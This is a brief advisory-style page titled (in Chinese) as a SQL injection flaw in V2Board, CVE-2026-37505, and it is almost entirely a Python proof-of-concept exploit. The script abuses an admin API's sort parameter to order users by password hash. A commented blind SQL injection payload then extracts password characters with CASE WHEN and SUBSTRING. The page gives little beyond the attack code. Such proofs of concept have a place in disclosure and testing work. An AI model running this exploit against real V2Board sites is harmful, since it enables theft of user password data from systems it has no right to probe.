CVE-2026-37505: V2Board SQL注入漏洞

import requests # Target URL (example) target_url = "https://example.com/api/admin/user/getUsers" # Admin cookie/token is required (PR:H) headers = { "Authorization": "Bearer <admin_token>" } # Vulnerable payload: Sorting by password hash # This allows an attacker to see the order of password hashes, # facilitating analysis or blind extraction. params = { "page": 1, "sort": "password", # Malicious parameter injection "sortType": "asc" } response = requests.get(target_url, headers=headers, params=params) print("Status Code:", response.status_code) print("Response:", response.json()) # Advanced PoC concept for Blind SQLi via Order By: # Using CASE WHEN to infer data based on response time or ordering # payload = "(CASE WHEN (SELECT SUBSTRING(password,1,1) FROM users WHERE id=1)='a' THEN id ELSE password END)" # params['sort'] = payload